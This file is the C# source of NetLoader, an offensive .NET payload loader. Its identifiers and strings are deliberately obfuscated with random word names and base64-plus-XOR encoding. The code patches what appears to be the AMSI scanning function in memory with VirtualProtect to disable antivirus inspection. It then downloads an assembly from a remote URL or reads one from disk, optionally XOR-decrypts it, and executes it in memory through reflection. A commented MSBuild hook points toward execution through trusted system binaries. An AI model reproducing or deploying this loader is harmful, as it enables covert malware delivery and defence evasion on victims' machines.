Files
Flangvik-NetLoader/Source/Program.cs
T

251 lines
17 KiB
C#

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Linq;
using System.Threading;
//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class KwammeSupperless{
private static object[] ScamblingBoyaus = null;
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr PerioralStylion, string AnticonstitutionTwitching);
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string CrownlingDenounced);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr PokomooAlbinotic, UIntPtr ApometabolismCaducibranch, uint PeelcrowEmeership, out uint DepreciatorinessSavingness);
private static byte[] SuspectfulCaribbee()
{
if (System.Environment.Is64BitOperatingSystem)
return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
}
private static string TerrifiedQuibbling(string ClimataTinean, bool EmunctoryCharre)
{
if (EmunctoryCharre)
ClimataTinean = Encoding.UTF8.GetString(Convert.FromBase64String(ClimataTinean));
if (ClimataTinean.Trim().ToLower().Equals(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("Kw=="), "SemelparityBeadings"))))
Environment.Exit(0);
return ClimataTinean;
}
private static void GesturelessConvincing()
{
IntPtr GekkonesCornstone = StandbybysUnclout(AlcoranistPreinvestigation());
if (GekkonesCornstone != (IntPtr)0)
{
Marshal.Copy(SuspectfulCaribbee(), 0, GekkonesCornstone, SuspectfulCaribbee().Length);
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("F04yVDIHByAKBRYUFAAANUUfFRURDCYLViQ/MiVN"), "LeotardCoverall")));
}
else
{
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("C1M0UyQIGgYpHwcUTxE/OjpULy8sDTMt"), "PristineAviso")));
}
}
private static byte[] HemibranchSemimenstrual(byte[] ClimataTinean, string UnwarrantabilityRecherche)
{
//byte[] keyBytes = Encoding.UTF8.GetBytes(UnwarrantabilityRecherche);
byte[] HomologicallyAmniotomeBytes = new byte[ClimataTinean.Length];
for (int i = 0; i < ClimataTinean.Length; i++)
{
HomologicallyAmniotomeBytes[i] = (byte)(ClimataTinean[i] ^ Encoding.UTF8.GetBytes(UnwarrantabilityRecherche)[i % Encoding.UTF8.GetBytes(UnwarrantabilityRecherche).Length]);
}
return HomologicallyAmniotomeBytes;
}
public static void Main(string[] args)
{
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("F0g+RRAlCQAMCxMnBE5PTxAyFwAbWRZHbycGESIMBAUHHg=="), "LicenceableNonconsenting")));
int BostoniansUnlinks = (Convert.ToInt32(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("clxC"), "AdvoweeSpacings"))) * Convert.ToInt32(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("bw=="), "WanglesUnionoid"))));
string CalyptrataeSynectics = "";
string[] DiarrhoeicLaughful = new string[] { };
bool MultipresentSkey = false;
bool BuTim = false;
string MisaddingGastroenteritis = "";
if (args.Length > 0)
{
foreach (string argument in args)
{
if (argument.ToLower() == Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("flgSU0Y="), "SupermarineLaevoversion")) || argument.ToLower() == Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("fQNaVQ=="), "PalaeoniscoidPrecentorship")))
{
MultipresentSkey = true;
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("DEI6RS4CH3ATFwYRAAwaByRJBhcKTjExAQBXUE0MGhA4DQIBQ04XNREKBQ0DDlQHPwwKRQAAUyQaAEECARA="), "WigeonsPreadmits")));
}
if (argument.ToLower() == Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("excDBg=="), "VoltoWapperjawed")) || argument.ToLower() == Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("aFUIBhM="), "ExpiatorsUrogaster")))
{
BuTim = true;
int ImpenitentnessOverrust = Array.IndexOf(args, argument) + 1;
if (ImpenitentnessOverrust < args.Length)
{
string HelplesslyXanthophore = args[ImpenitentnessOverrust];
if (MultipresentSkey)
MisaddingGastroenteritis = Encoding.UTF8.GetString(Convert.FromBase64String(HelplesslyXanthophore));
else
MisaddingGastroenteritis = HelplesslyXanthophore;
}
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("C04pSSsJBhYwHRkAGg5HOS07TAwaGiIcBB0KCEUGIAMMGw1JEhILBwtJHxwpRVMSXxFC"), "PetioledImmitigability")), MisaddingGastroenteritis);
}
if (argument.ToLower() == Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("fRENGA0="), "PalletizedParcel")) || argument.ToLower() == Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("b0gDCRUM"), "BeshadeIncomputably")))
{
int ImpenitentnessOverrust = Array.IndexOf(args, argument) + 1;
if (ImpenitentnessOverrust < args.Length)
{
string AlgorsTonsilitis = args[ImpenitentnessOverrust];
if (MultipresentSkey)
CalyptrataeSynectics = Encoding.UTF8.GetString(Convert.FromBase64String(AlgorsTonsilitis));
else
CalyptrataeSynectics = AlgorsTonsilitis;
}
}
if (argument.ToLower() == Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("fwQGFRI="), "RetranslationWertherism")) || argument.ToLower() == Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("fkwFGgYY"), "SadhakaReconciler")))
{
int SubmergedUromastix = Array.IndexOf(args, argument) + 1;
int ArchmilitaristNonostensive = args.Length - SubmergedUromastix;
DiarrhoeicLaughful = new String[ArchmilitaristNonostensive];
for (int i = 0; i < ArchmilitaristNonostensive; i++)
{
string AlgorsTonsilitisArgs = args[SubmergedUromastix + i];
if (MultipresentSkey)
DiarrhoeicLaughful[i] = Encoding.UTF8.GetString(Convert.FromBase64String(AlgorsTonsilitisArgs));
else
DiarrhoeicLaughful[i] = AlgorsTonsilitisArgs;
}
}
}
if (string.IsNullOrEmpty(CalyptrataeSynectics))
{
CalcinatoryApyrases();
Environment.Exit(0);
}
WriteupsCarbonates(CalyptrataeSynectics, DiarrhoeicLaughful, BuTim, MisaddingGastroenteritis, BostoniansUnlinks);
Environment.Exit(0);
}
while (true)
{
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("GFAwUDwaERcYWQhJHQZPBAkQQSUGCBwRVBUNTBwoAABJ"), "ComputablyPithoegia")));
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("FFw4QSccRxMNHEgADREZJ0kMChYXWlFTFiEACgULC0dNQQlHB0NMUnM="), "OceanographicalSinkerless")));
MultipresentSkey = AstralPlained(Console.ReadKey(false).Key);
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("DlE5RTsdBAcdSxkPEztDHQdUFAYJdUNaRQ=="), "UnderstrikingScrutate")));
CalyptrataeSynectics = TerrifiedQuibbling(Console.ReadLine(), MultipresentSkey);
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("C00yUygBVBwaDGMfDRUNPxMLUwUTAAlSMQw9TAkPMwAWAxUXEEhNSTpAAkxMblI="), "ProsarthriColla")));
BuTim = AstralPlained(Console.ReadKey(false).Key);
if (BuTim)
{
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("C1ovSTkXHBAESBgNB0ksJiF1BRUYVUNdSA=="), "PeripylephlebitisUnpaunched")));
MisaddingGastroenteritis = TerrifiedQuibbling(Console.ReadLine(), MultipresentSkey);
}
Console.WriteLine("[?] Input payload args (optional) -> ");
DiarrhoeicLaughful = TerrifiedQuibbling(Console.ReadLine(), MultipresentSkey).Split(' ');
if (CalyptrataeSynectics.Length > 0)
{
WriteupsCarbonates(CalyptrataeSynectics, DiarrhoeicLaughful, BuTim, MisaddingGastroenteritis, BostoniansUnlinks);
}
}
}
private static Type SkieghBecobweb(MethodInfo PenmakerOxymomora)
{
return PenmakerOxymomora.ReflectedType;
}
private static void OverscorePeptone(byte[] InsulinizingNale, string MisaddingGastroenteritis)
{
QuodlibetarianLappers(SplashilyClangful(PrososNutrice(HemibranchSemimenstrual(InsulinizingNale, MisaddingGastroenteritis))));
}
private static byte[] CampanilesRingless(string BacktrackersMesoventral, FileMode UnparticipatedPompal)
{
byte[] HomologicallyAmniotome = null;
using (FileStream fs = new FileStream(BacktrackersMesoventral, UnparticipatedPompal, FileAccess.Read))
{
HomologicallyAmniotome = new byte[fs.Length];
fs.Read(HomologicallyAmniotome, 0, (int)fs.Length);
}
return HomologicallyAmniotome;
}
private static object QuodlibetarianLappers(MethodInfo PenmakerOxymomora)
{
if (SkieghBecobweb(PenmakerOxymomora) == PenmakerOxymomora.ReflectedType)
return PenmakerOxymomora.Invoke(null, ScamblingBoyaus);
return ScamblingBoyaus[0];
}
public static int PriapuloideaConqueringly(int DisanimationSomersetting)
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)DisanimationSomersetting;
return DisanimationSomersetting;
}
private static bool AstralPlained(ConsoleKey ToughNunchaku)
{
if (ToughNunchaku == ConsoleKey.X)
Environment.Exit(0);
return (ToughNunchaku == ConsoleKey.Y);
}
private static void WriteupsCarbonates(string DialectologiesSportier, string[] UndeclaimingUninterruptible, bool BuTimoded = false, string MisaddingGastroenteritis = "", int IncessantlyAmperian = 0)
{
GesturelessConvincing();
PriapuloideaConqueringly(IncessantlyAmperian);
if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("cw=="), "SquashiestAminolytic")), UndeclaimingUninterruptible)))
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("GlguRScmLWo+IjU6UFth"), "AssertaEncarpa")) + DialectologiesSportier + Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("EhECGwwXBwcHY0hP"), "ScenaristCrost")) + string.Join(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("cw=="), "SquashiestAminolytic")), UndeclaimingUninterruptible));
else
{
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("GlguRScmLWo+IjU6UFth"), "AssertaEncarpa")) + DialectologiesSportier + Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("EhECGwwXBwcHY0hP"), "ScenaristCrost")) + string.Join(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("cw=="), "SquashiestAminolytic")), UndeclaimingUninterruptible));
}
ScamblingBoyaus = new object[] { UndeclaimingUninterruptible };
if (BuTimoded && DialectologiesSportier.ToLower().StartsWith(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("KwYVHg=="), "CraniometricallyNondetrimentally"))))
{
OverscorePeptone(VoetIsadora(DialectologiesSportier), MisaddingGastroenteritis);
}
else if (!BuTimoded && DialectologiesSportier.ToLower().StartsWith(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("KwYVHg=="), "CraniometricallyNondetrimentally"))))
{
GrimmiaceousWomaning(VoetIsadora(DialectologiesSportier));
}
else if (!BuTimoded && !DialectologiesSportier.ToLower().StartsWith(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("KwYVHg=="), "CraniometricallyNondetrimentally"))))
GrimmiaceousWomaning(CampanilesRingless(DialectologiesSportier, FileMode.Open));
else
OverscorePeptone(CampanilesRingless(DialectologiesSportier, FileMode.Open), MisaddingGastroenteritis);
}
private static IntPtr AlcoranistPreinvestigation()
{
return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("MwgABlwHBQI="), "ResorcineEntach"))), Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("EQQdByYPBB0SDAUIDBY="), "PinnulesPycnidia")));
}
private static IntPtr StandbybysUnclout(IntPtr GekkonesCornstone)
{
uint VomitwortSelfnesses = 0;
if (VirtualProtect(GekkonesCornstone, (UIntPtr)SuspectfulCaribbee().Length, 0x40, out VomitwortSelfnesses))
{
return GekkonesCornstone;
}
else
{
return (IntPtr)0;
}
}
private static MethodInfo SplashilyClangful(Assembly asm)
{
return asm.EntryPoint;
}
private static byte[] VoetIsadora(string url)
{
HttpWebRequest JactitatingPreaffirmative = (HttpWebRequest)WebRequest.Create(url);
JactitatingPreaffirmative.Proxy.Credentials = CredentialCache.DefaultCredentials;
JactitatingPreaffirmative.Method = Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("CiQ6"), "ManzanitaAsphaltene"));
WebResponse HydrocortisonePterobranchia = JactitatingPreaffirmative.GetResponse();
MemoryStream ms = new MemoryStream();
HydrocortisonePterobranchia.GetResponseStream().CopyTo(ms);
return ms.ToArray();
}
private static void CalcinatoryApyrases()
{
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("AB0OFQJbTg=="), "UnorganicCamsteary")));
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("AxYTBhFISTh/B0VBLkMyWRkbF1NqDhcYSi9JTiIEBx1TXwsdDxUXCgkVExUcTEk4fwQBEgBDVRYIGgQBLzoTExMBVz4="), "VeratricResuscitates")));
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("CRpfB0VRSFYqFBoMHB0gBBlSCRwSHkMYCBE0AxcRFhdSHwsABwYSBycLElIbGBINQwkFD3UBBg0WF1IGBBYPCBYHKxcGUg4CFlkBCRoGY1pSAB0GHRIAAEA="), "UnreservednessNeuropsychic")));
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("Gh1eEBgTQ3A9HxIIHQMLEypJAwkFABQ1BgoUQRsDARslCAcBGQZZJBoOEkEQBAsTNBBTDh4NHCNSDhQEUjUqIGYMHQsFGAkkFwtIQT8YFgZmCxZIEQ4VPB0YAwVSDxxSMgEWSC8uK3AWCgUTCx0RGykHUwMSGFc="), "FishwayProfarmer")));
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("GRhMFQ4ZDU5FPyYPFgUbATcVQRUOHwQZAAYiE1xEJgAhBQIEGwgWVBEaIkECBRsGaUwEDBsFAAZFHigCEwhPATdMAEU6PylYRR0hQQYMCk4nBQ8EHRRFAApSKw4TAEE="), "ElaeometerGardon")));
Console.WriteLine(Encoding.UTF8.GetString(HemibranchSemimenstrual(Convert.FromBase64String("DxxCEQIOAFJ0Jx8GBwYLHRU/SB8RAggeDSANHVIbGgAXVCcHTwARGgBINRoIBwMMCwcHcxwAUAQBFkg4Bw4WCw1FER09CR0JXkk+HSccTxALSQMcGD8HGBUUSRERdAkDHk4IFxQBPg0BBANJFQcmSBsaC0kHGhoyGhZe"), "ShoppishThorniest")));
}
private static Assembly PrososNutrice(byte[] StapedectomyResay)
{
return Assembly.Load(StapedectomyResay);
}
private static void GrimmiaceousWomaning(byte[] InsulinizingNale)
{
QuodlibetarianLappers(SplashilyClangful(PrososNutrice(InsulinizingNale)));
}
/*
//This is for MSBuild later
public class ClassExample : Task, ITask
{
public override bool Execute()
{
KwammeSupperless.Main(new string[] { });
return true;
}
}
*/
}